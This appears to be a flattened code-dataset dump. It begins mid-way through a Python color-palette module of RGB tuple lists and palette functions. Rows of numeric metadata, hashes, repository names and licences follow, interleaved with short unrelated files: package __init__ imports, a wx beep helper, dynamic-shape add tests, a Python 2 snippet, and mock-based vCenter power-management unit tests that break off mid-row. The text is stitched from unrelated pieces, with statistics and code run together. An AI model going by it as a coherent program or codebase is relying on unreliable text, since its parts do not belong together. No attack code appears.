(136, 101, 204), (139, 101, 204), (141, 101, 204), (143, 101, 204), (146, 101, 204), (148, 101, 204), (151, 101, 204), (153, 101, 204), (156, 101, 204), (158, 101, 204), (160, 101, 204), (163, 101, 204), (165, 101, 204), (168, 101, 204), (170, 101, 204), (172, 101, 204), (175, 101, 204), (177, 101, 204), (180, 101, 204), (182, 101, 204), (185, 101, 204), (187, 101, 204), (189, 101, 204), (192, 101, 204), (194, 101, 204), (197, 101, 204), (199, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 201), (204, 101, 198), (204, 101, 196), (204, 101, 193), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 184), (204, 101, 181), (204, 101, 179), (204, 101, 176), (204, 101, 174), (204, 101, 172), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 155), (204, 101, 152), (204, 101, 150), (204, 101, 147), (204, 101, 145), (204, 101, 143), (204, 101, 140), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 126), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 254: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 114, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 130, 101), (204, 133, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 157, 101), (204, 159, 101), (204, 162, 101), (204, 164, 101), (204, 167, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 181, 101), (204, 183, 101), (204, 186, 101), (204, 188, 101), (204, 191, 101), (204, 193, 101), (204, 195, 101), (204, 198, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (197, 204, 101), (195, 204, 101), (192, 204, 101), (190, 204, 101), (187, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (178, 204, 101), (175, 204, 101), (173, 204, 101), (171, 204, 101), (168, 204, 101), (166, 204, 101), (163, 204, 101), (161, 204, 101), (159, 204, 101), (156, 204, 101), (154, 204, 101), (151, 204, 101), (149, 204, 101), (146, 204, 101), (144, 204, 101), (142, 204, 101), (139, 204, 101), (137, 204, 101), (134, 204, 101), (132, 204, 101), (130, 204, 101), (127, 204, 101), (125, 204, 101), (122, 204, 101), (120, 204, 101), (118, 204, 101), (115, 204, 101), (113, 204, 101), (110, 204, 101), (108, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 107), (101, 204, 110), (101, 204, 112), (101, 204, 114), (101, 204, 117), (101, 204, 119), (101, 204, 122), (101, 204, 124), (101, 204, 126), (101, 204, 129), (101, 204, 131), (101, 204, 134), (101, 204, 136), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 148), (101, 204, 150), (101, 204, 153), (101, 204, 155), (101, 204, 158), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 177), (101, 204, 179), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 179, 204), (101, 177, 204), (101, 175, 204), (101, 172, 204), (101, 170, 204), (101, 167, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 158, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 148, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 136, 204), (101, 134, 204), (101, 131, 204), (101, 129, 204), (101, 126, 204), (101, 124, 204), (101, 122, 204), (101, 119, 204), (101, 117, 204), (101, 114, 204), (101, 112, 204), (101, 110, 204), (101, 107, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (108, 101, 204), (110, 101, 204), (113, 101, 204), (115, 101, 204), (118, 101, 204), (120, 101, 204), (122, 101, 204), (125, 101, 204), (127, 101, 204), (130, 101, 204), (132, 101, 204), (134, 101, 204), (137, 101, 204), (139, 101, 204), (142, 101, 204), (144, 101, 204), (146, 101, 204), (149, 101, 204), (151, 101, 204), (154, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (163, 101, 204), (166, 101, 204), (168, 101, 204), (171, 101, 204), (173, 101, 204), (175, 101, 204), (178, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (187, 101, 204), (190, 101, 204), (192, 101, 204), (195, 101, 204), (197, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 198), (204, 101, 195), (204, 101, 193), (204, 101, 191), (204, 101, 188), (204, 101, 186), (204, 101, 183), (204, 101, 181), (204, 101, 179), (204, 101, 176), (204, 101, 174), (204, 101, 171), (204, 101, 169), (204, 101, 167), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 157), (204, 101, 155), (204, 101, 152), (204, 101, 150), (204, 101, 147), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 138), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 128), (204, 101, 126), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 114), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 255: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 113, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 130, 101), (204, 133, 101), (204, 135, 101), (204, 138, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 147, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 157, 101), (204, 159, 101), (204, 162, 101), (204, 164, 101), (204, 166, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 178, 101), (204, 181, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 190, 101), (204, 193, 101), (204, 195, 101), (204, 197, 101), (204, 200, 101), (204, 202, 101), (202, 204, 101), (200, 204, 101), (198, 204, 101), (195, 204, 101), (193, 204, 101), (190, 204, 101), (188, 204, 101), (186, 204, 101), (183, 204, 101), (181, 204, 101), (178, 204, 101), (176, 204, 101), (173, 204, 101), (171, 204, 101), (169, 204, 101), (166, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (157, 204, 101), (154, 204, 101), (152, 204, 101), (150, 204, 101), (147, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (138, 204, 101), (135, 204, 101), (133, 204, 101), (130, 204, 101), (128, 204, 101), (125, 204, 101), (123, 204, 101), (121, 204, 101), (118, 204, 101), (116, 204, 101), (114, 204, 101), (111, 204, 101), (109, 204, 101), (106, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 106), (101, 204, 109), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 118), (101, 204, 121), (101, 204, 123), (101, 204, 126), (101, 204, 128), (101, 204, 130), (101, 204, 133), (101, 204, 135), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 147), (101, 204, 149), (101, 204, 152), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 164), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 176), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 186), (101, 204, 188), (101, 204, 190), (101, 204, 193), (101, 204, 195), (101, 204, 198), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 198, 204), (101, 195, 204), (101, 193, 204), (101, 190, 204), (101, 188, 204), (101, 186, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 176, 204), (101, 173, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 152, 204), (101, 149, 204), (101, 147, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 135, 204), (101, 133, 204), (101, 130, 204), (101, 128, 204), (101, 125, 204), (101, 123, 204), (101, 121, 204), (101, 118, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 109, 204), (101, 106, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (106, 101, 204), (109, 101, 204), (111, 101, 204), (113, 101, 204), (116, 101, 204), (118, 101, 204), (121, 101, 204), (123, 101, 204), (125, 101, 204), (128, 101, 204), (130, 101, 204), (133, 101, 204), (135, 101, 204), (138, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (147, 101, 204), (149, 101, 204), (152, 101, 204), (154, 101, 204), (157, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (166, 101, 204), (169, 101, 204), (171, 101, 204), (173, 101, 204), (176, 101, 204), (178, 101, 204), (181, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (190, 101, 204), (193, 101, 204), (195, 101, 204), (197, 101, 204), (200, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 200), (204, 101, 197), (204, 101, 195), (204, 101, 193), (204, 101, 190), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 181), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 169), (204, 101, 166), (204, 101, 164), (204, 101, 162), (204, 101, 159), (204, 101, 157), (204, 101, 154), (204, 101, 152), (204, 101, 150), (204, 101, 147), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 128), (204, 101, 125), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 113), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)], 256: [(204, 101, 101), (204, 104, 101), (204, 106, 101), (204, 109, 101), (204, 111, 101), (204, 113, 101), (204, 116, 101), (204, 118, 101), (204, 121, 101), (204, 123, 101), (204, 125, 101), (204, 128, 101), (204, 130, 101), (204, 133, 101), (204, 135, 101), (204, 137, 101), (204, 140, 101), (204, 142, 101), (204, 145, 101), (204, 147, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 156, 101), (204, 159, 101), (204, 161, 101), (204, 164, 101), (204, 166, 101), (204, 168, 101), (204, 171, 101), (204, 173, 101), (204, 176, 101), (204, 178, 101), (204, 180, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 190, 101), (204, 192, 101), (204, 195, 101), (204, 197, 101), (204, 200, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (198, 204, 101), (196, 204, 101), (193, 204, 101), (191, 204, 101), (188, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (179, 204, 101), (176, 204, 101), (174, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (160, 204, 101), (157, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (148, 204, 101), (145, 204, 101), (143, 204, 101), (141, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (124, 204, 101), (121, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (112, 204, 101), (109, 204, 101), (107, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 105), (101, 204, 108), (101, 204, 110), (101, 204, 113), (101, 204, 115), (101, 204, 117), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 127), (101, 204, 129), (101, 204, 132), (101, 204, 134), (101, 204, 137), (101, 204, 139), (101, 204, 141), (101, 204, 144), (101, 204, 146), (101, 204, 149), (101, 204, 151), (101, 204, 153), (101, 204, 156), (101, 204, 158), (101, 204, 160), (101, 204, 163), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 177), (101, 204, 180), (101, 204, 182), (101, 204, 184), (101, 204, 187), (101, 204, 189), (101, 204, 192), (101, 204, 194), (101, 204, 196), (101, 204, 199), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 199, 204), (101, 196, 204), (101, 194, 204), (101, 192, 204), (101, 189, 204), (101, 187, 204), (101, 184, 204), (101, 182, 204), (101, 180, 204), (101, 177, 204), (101, 175, 204), (101, 172, 204), (101, 170, 204), (101, 168, 204), (101, 165, 204), (101, 163, 204), (101, 160, 204), (101, 158, 204), (101, 156, 204), (101, 153, 204), (101, 151, 204), (101, 149, 204), (101, 146, 204), (101, 144, 204), (101, 141, 204), (101, 139, 204), (101, 137, 204), (101, 134, 204), (101, 132, 204), (101, 129, 204), (101, 127, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 117, 204), (101, 115, 204), (101, 113, 204), (101, 110, 204), (101, 108, 204), (101, 105, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (107, 101, 204), (109, 101, 204), (112, 101, 204), (114, 101, 204), (117, 101, 204), (119, 101, 204), (121, 101, 204), (124, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (141, 101, 204), (143, 101, 204), (145, 101, 204), (148, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (157, 101, 204), (160, 101, 204), (162, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (174, 101, 204), (176, 101, 204), (179, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (188, 101, 204), (191, 101, 204), (193, 101, 204), (196, 101, 204), (198, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 200), (204, 101, 197), (204, 101, 195), (204, 101, 192), (204, 101, 190), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 180), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 168), (204, 101, 166), (204, 101, 164), (204, 101, 161), (204, 101, 159), (204, 101, 156), (204, 101, 154), (204, 101, 152), (204, 101, 149), (204, 101, 147), (204, 101, 145), (204, 101, 142), (204, 101, 140), (204, 101, 137), (204, 101, 135), (204, 101, 133), (204, 101, 130), (204, 101, 128), (204, 101, 125), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 116), (204, 101, 113), (204, 101, 111), (204, 101, 109), (204, 101, 106), (204, 101, 104)]} def categories_10(nb_colors): if nb_colors <= 10: return [format_color(c) for c in _colors_categories_10[nb_colors]] elif nb_colors <= 256: return [format_color(c) for c in _color_categories_256[nb_colors]] else: return [format_color(_color_categories_256[256][i % 256]) for i in range(nb_colors)] def categories_256(nb_colors): if nb_colors <= 256: return [format_color(c) for c in _color_categories_256[nb_colors]] else: return [format_color(_color_categories_256[256][i % 256]) for i in range(nb_colors)] def linear_purple(nb_colors): return [format_color(c) for c in sns.cubehelix_palette(nb_colors)] def linear_blue_red(nb_colors): return [format_color(c) for c in sns.color_palette("coolwarm", nb_colors)] def linear_blue(nb_colors): return [format_color(c) for c in sns.color_palette(palette="Blues", n_colors=nb_colors)] palette_from_name_to_function = { 'categories_10': categories_10, 'categories_256': categories_256, 'linear_purple': linear_purple, 'linear_blue_red': linear_blue_red, 'linear_blue': linear_blue, }
23.881637
78
0.378797
99,321
787,091
3.001138
0.003
0.331466
0.016063
0.021176
0.993827
0.980237
0.979408
0.970179
0.959339
0.958182
0
0.640834
0.410703
787,091
32,957
79
23.882362
0.001807
0.000088
0
0.990225
0
0
0.0001
0
0
0
0
0.00003
0
1
0.000152
false
0
0.000061
0.000091
0.000455
0
0
0
0
null
1
0
0
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
dee209e23c751534c2f020dd5f67947828312f1b
489
py
Python
knx_stack/decode/layer/transport/__init__.py
majamassarini/knx-stack
11a9baac6b7600649b5fbca43c93b200b23676b4
[ "MIT" ]
2
2021-07-28T07:42:28.000Z
2022-01-25T18:56:05.000Z
knx_stack/decode/layer/transport/__init__.py
majamassarini/knx-stack
11a9baac6b7600649b5fbca43c93b200b23676b4
[ "MIT" ]
6
2021-07-25T21:36:01.000Z
2022-02-20T21:11:31.000Z
knx_stack/decode/layer/transport/__init__.py
majamassarini/knx-stack
11a9baac6b7600649b5fbca43c93b200b23676b4
[ "MIT" ]
null
null
null
from knx_stack.decode.layer.transport import t_connect from knx_stack.decode.layer.transport import t_data_broadcast from knx_stack.decode.layer.transport import t_data_connected from knx_stack.decode.layer.transport import t_data_group from knx_stack.decode.layer.transport import t_data_individual from knx_stack.decode.layer.transport import t_data_system_broadcast from knx_stack.decode.layer.transport import t_data_tag_group from knx_stack.decode.layer.transport import t_disconnect
54.333333
68
0.885481
80
489
5.1125
0.2125
0.136919
0.234719
0.352078
0.889976
0.889976
0.889976
0.889976
0.794621
0.254279
0
0
0.06544
489
8
69
61.125
0.894967
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
1
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
11
720a3a63f3dcad5a57841a6f3e23602ecc7911c5
95
py
Python
verifai/__init__.py
jst-qaml/VerifAI
d91bc1289d720c055a36fa0e1ad9f68b986ca1a4
[ "BSD-3-Clause" ]
null
null
null
verifai/__init__.py
jst-qaml/VerifAI
d91bc1289d720c055a36fa0e1ad9f68b986ca1a4
[ "BSD-3-Clause" ]
null
null
null
verifai/__init__.py
jst-qaml/VerifAI
d91bc1289d720c055a36fa0e1ad9f68b986ca1a4
[ "BSD-3-Clause" ]
null
null
null
from verifai.features import * from verifai.samplers import * from verifai.simulators import *
23.75
32
0.810526
12
95
6.416667
0.5
0.428571
0.441558
0
0
0
0
0
0
0
0
0
0.126316
95
3
33
31.666667
0.927711
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9d0486e6414b2d309dc9ce407252ebdc2a167322
650
py
Python
api/node/tasks.py
klebed/esdc-ce
2c9e4591f344247d345a83880ba86777bb794460
[ "Apache-2.0" ]
97
2016-11-15T14:44:23.000Z
2022-03-13T18:09:15.000Z
api/node/tasks.py
klebed/esdc-ce
2c9e4591f344247d345a83880ba86777bb794460
[ "Apache-2.0" ]
334
2016-11-17T19:56:57.000Z
2022-03-18T10:45:53.000Z
api/node/tasks.py
klebed/esdc-ce
2c9e4591f344247d345a83880ba86777bb794460
[ "Apache-2.0" ]
33
2017-01-02T16:04:13.000Z
2022-02-07T19:20:24.000Z
# noinspection PyUnresolvedReferences from api.node.status.tasks import * # noqa: F401,F403 # noinspection PyUnresolvedReferences from api.node.sysinfo.tasks import * # noqa: F401,F403 # noinspection PyUnresolvedReferences from api.node.snapshot.tasks import * # noqa: F401,F403 # noinspection PyUnresolvedReferences from api.node.image.tasks import * # noqa: F401,F403 # noinspection PyUnresolvedReferences from api.node.sshkey.tasks import * # noqa: F401,F403 # noinspection PyUnresolvedReferences from api.node.vm.tasks import * # noqa: F401,F403 # noinspection PyUnresolvedReferences from api.node.network.tasks import * # noqa: F401,F403
43.333333
56
0.795385
77
650
6.714286
0.220779
0.460348
0.514507
0.555126
0.920696
0.789168
0.789168
0.789168
0.789168
0.789168
0
0.073298
0.118462
650
14
57
46.428571
0.82897
0.558462
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
12
19d7cce5afbadd43fece4d146dfb27377702f20b
154
py
Python
Latest/venv/Lib/site-packages/pyface/ui/wx/beep.py
adamcvj/SatelliteTracker
49a8f26804422fdad6f330a5548e9f283d84a55d
[ "Apache-2.0" ]
1
2022-01-09T20:04:31.000Z
2022-01-09T20:04:31.000Z
Latest/venv/Lib/site-packages/pyface/ui/wx/beep.py
adamcvj/SatelliteTracker
49a8f26804422fdad6f330a5548e9f283d84a55d
[ "Apache-2.0" ]
1
2022-02-15T12:01:57.000Z
2022-03-24T19:48:47.000Z
Latest/venv/Lib/site-packages/pyface/ui/wx/beep.py
adamcvj/SatelliteTracker
49a8f26804422fdad6f330a5548e9f283d84a55d
[ "Apache-2.0" ]
null
null
null
# Copyright 2012 Philip Chimento """Sound the system bell, Wx implementation.""" import wx def beep(): """Sound the system bell.""" wx.Bell()
14
47
0.649351
20
154
5
0.65
0.16
0.28
0.36
0.4
0
0
0
0
0
0
0.032787
0.207792
154
10
48
15.4
0.786885
0.623377
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0
0.666667
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
7
dfb3ba73b4e7a5b169ea157f0dc5782b6a1aa535
1,211
py
Python
tests/operators/dynamic_shape/test_add.py
laekov/akg
5316b8cb2340bbf71bdc724dc9d81513a67b3104
[ "Apache-2.0" ]
1
2020-08-31T02:43:43.000Z
2020-08-31T02:43:43.000Z
tests/operators/dynamic_shape/test_add.py
laekov/akg
5316b8cb2340bbf71bdc724dc9d81513a67b3104
[ "Apache-2.0" ]
null
null
null
tests/operators/dynamic_shape/test_add.py
laekov/akg
5316b8cb2340bbf71bdc724dc9d81513a67b3104
[ "Apache-2.0" ]
null
null
null
import boot import pytest @pytest.mark.add @pytest.mark.level0 @pytest.mark.env_oncard @pytest.mark.platform_x86_ascend_training def test_add(): boot.run("test_resnet50_add_000", "add_run", ([32, 128, 7, 7, 16], [32, 128, 7, 7, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_001", "add_run", ([32, 16, 56, 56, 16], [32, 16, 56, 56, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_002", "add_run", ([32, 32, 28, 28, 16], [32, 32, 28, 28, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_003", "add_run", ([32, 64, 14, 14, 16], [32, 64, 14, 14, 16], "float32", "cce_add_fp32"), "dynamic") boot.run("test_resnet50_add_004", "add_run", ([32, 128, 7, 7, 16], [32, 128, 7, 7, 16], "float16", "cce_add_fp16"), "dynamic") boot.run("test_resnet50_add_005", "add_run", ([32, 16, 56, 56, 16], [32, 16, 56, 56, 16], "float16", "cce_add_fp16"), "dynamic") boot.run("test_resnet50_add_006", "add_run", ([32, 32, 28, 28, 16], [32, 32, 28, 28, 16], "float16", "cce_add_fp16"), "dynamic") boot.run("test_resnet50_add_007", "add_run", ([32, 64, 14, 14, 16], [32, 64, 14, 14, 16], "float16", "cce_add_fp16"), "dynamic")
67.277778
132
0.630884
207
1,211
3.434783
0.183575
0.078762
0.123769
0.213783
0.804501
0.773558
0.739803
0.739803
0.739803
0.739803
0
0.221477
0.138728
1,211
17
133
71.235294
0.460211
0
0
0
0
0
0.357025
0.138843
0
0
0
0
0
1
0.066667
true
0
0.133333
0
0.2
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
10
a0397ae93dc809415d16589aba7c2a789afd4c18
39
py
Python
tests/t75.py
jplevyak/pyc
9f4bc49be78ba29427841460945ce63826fcd857
[ "BSD-3-Clause" ]
3
2019-08-21T22:01:35.000Z
2021-07-25T00:21:28.000Z
tests/t75.py
jplevyak/pyc
9f4bc49be78ba29427841460945ce63826fcd857
[ "BSD-3-Clause" ]
null
null
null
tests/t75.py
jplevyak/pyc
9f4bc49be78ba29427841460945ce63826fcd857
[ "BSD-3-Clause" ]
null
null
null
x = (1, 2, 3) (a, b, c) = x print a, b
9.75
13
0.384615
11
39
1.363636
0.727273
0.266667
0
0
0
0
0
0
0
0
0
0.115385
0.333333
39
3
14
13
0.461538
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0.333333
1
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
a03f3b438923a12b2f1f71298be965688c754812
5,934
py
Python
package/cloudshell/tests/test_commands/test_power_management_vm.py
DYeag/vCenterShell
e2e24cd938a92a68f4a8e6a860810d3ef72aae6d
[ "Apache-2.0" ]
20
2015-12-06T10:19:27.000Z
2020-08-05T06:19:46.000Z
package/cloudshell/tests/test_commands/test_power_management_vm.py
DYeag/vCenterShell
e2e24cd938a92a68f4a8e6a860810d3ef72aae6d
[ "Apache-2.0" ]
956
2015-12-06T13:00:17.000Z
2021-03-31T23:54:51.000Z
package/cloudshell/tests/test_commands/test_power_management_vm.py
DYeag/vCenterShell
e2e24cd938a92a68f4a8e6a860810d3ef72aae6d
[ "Apache-2.0" ]
26
2015-12-06T15:24:17.000Z
2020-09-16T09:27:03.000Z
from unittest import TestCase from mock import Mock from pyVmomi import vim from cloudshell.cp.vcenter.commands.power_manager_vm import VirtualMachinePowerManagementCommand class TestVirtualMachinePowerManagementCommand(TestCase): def test_power_off_already(self): vm_uuid = 'uuid' si = Mock(spec=vim.ServiceInstance) vm = Mock(spec=vim.VirtualMachine) vm.summary = Mock() vm.summary.runtime = Mock() vm.summary.runtime.powerState = 'poweredOff' session = Mock() pv_service = Mock() pv_service.find_by_uuid = Mock(return_value=vm) power_manager = VirtualMachinePowerManagementCommand(pv_service, Mock()) # act res = power_manager.power_off(si=si, logger=Mock(), session=session, vcenter_data_model=Mock(), vm_uuid=vm_uuid, resource_fullname=None) # assert self.assertTrue(res, 'Already powered off') self.assertFalse(vm.PowerOn.called) def test_power_on_already(self): vm_uuid = 'uuid' si = Mock(spec=vim.ServiceInstance) vm = Mock(spec=vim.VirtualMachine) vm.summary = Mock() vm.summary.runtime = Mock() vm.summary.runtime.powerState = 'poweredOn' session = Mock() pv_service = Mock() pv_service.find_by_uuid = Mock(return_value=vm) power_manager = VirtualMachinePowerManagementCommand(pv_service, Mock()) # act res = power_manager.power_on(si=si, logger=Mock(), session=session, vm_uuid=vm_uuid, resource_fullname=None) # assert self.assertTrue(res, 'Already powered on') self.assertFalse(vm.PowerOn.called) def test_power_on(self): # arrange vm_uuid = 'uuid' si = Mock(spec=vim.ServiceInstance) vm = Mock(spec=vim.VirtualMachine) session = Mock() pv_service = Mock() pv_service.find_by_uuid = Mock(return_value=vm) task = Mock() vm.PowerOn = Mock(return_value=task) synchronous_task_waiter = Mock() synchronous_task_waiter.wait_for_task = Mock(return_value=True) power_manager = VirtualMachinePowerManagementCommand(pv_service, synchronous_task_waiter) # act res = power_manager.power_on(si=si, logger=Mock(), session=session, vm_uuid=vm_uuid, resource_fullname=None) # assert self.assertTrue(res) self.assertTrue(synchronous_task_waiter.wait_for_task.called_with(task)) self.assertTrue(vm.PowerOn.called) def test_power_off_soft(self): # arrange vcenter_name = 'vcenter name' vm_uuid = 'uuid' session = Mock() si = Mock(spec=vim.ServiceInstance) vm = Mock(spec=vim.VirtualMachine) task = Mock() pv_service = Mock() pv_service.find_by_uuid = Mock(return_value=vm) vm.PowerOff = Mock(return_value=task) synchronous_task_waiter = Mock() synchronous_task_waiter.wait_for_task = Mock(return_value=True) power_manager = VirtualMachinePowerManagementCommand(pv_service, synchronous_task_waiter) power_manager._connect_to_vcenter = Mock(return_value=si) power_manager._get_vm = Mock(return_value=vm) vcenter = Mock() vcenter.shutdown_method = 'soft' # act res = power_manager.power_off(si=si, logger=Mock(), session=session, vcenter_data_model=vcenter, vm_uuid=vm_uuid, resource_fullname=None) # assert self.assertTrue(res) self.assertTrue(vm.ShutdownGuest.called) self.assertTrue(power_manager._connect_to_vcenter.called_with(vcenter_name)) self.assertTrue(power_manager._get_vm.called_with(si, vm_uuid)) self.assertTrue(synchronous_task_waiter.wait_for_task.called_with(task)) def test_power_off_hard(self): # arrange vcenter_name = 'vcenter name' vm_uuid = 'uuid' session = Mock() si = Mock(spec=vim.ServiceInstance) vm = Mock(spec=vim.VirtualMachine) task = Mock() pv_service = Mock() pv_service.find_by_uuid = Mock(return_value=vm) vm.PowerOff = Mock(return_value=task) synchronous_task_waiter = Mock() synchronous_task_waiter.wait_for_task = Mock(return_value=True) power_manager = VirtualMachinePowerManagementCommand(pv_service, synchronous_task_waiter) power_manager._connect_to_vcenter = Mock(return_value=si) power_manager._get_vm = Mock(return_value=vm) vcenter = Mock() vcenter.shutdown_method = 'hard' # act res = power_manager.power_off(si=si, logger=Mock(), session=session, vcenter_data_model=vcenter, vm_uuid=vm_uuid, resource_fullname=None) # assert self.assertTrue(res) self.assertTrue(vm.PowerOff.called) self.assertTrue(power_manager._connect_to_vcenter.called_with(vcenter_name)) self.assertTrue(power_manager._get_vm.called_with(si, vm_uuid)) self.assertTrue(synchronous_task_waiter.wait_for_task.called_with(task))
37.0875
97
0.580721
607
5,934
5.38715
0.118616
0.069725
0.068807
0.036391
0.894801
0.894801
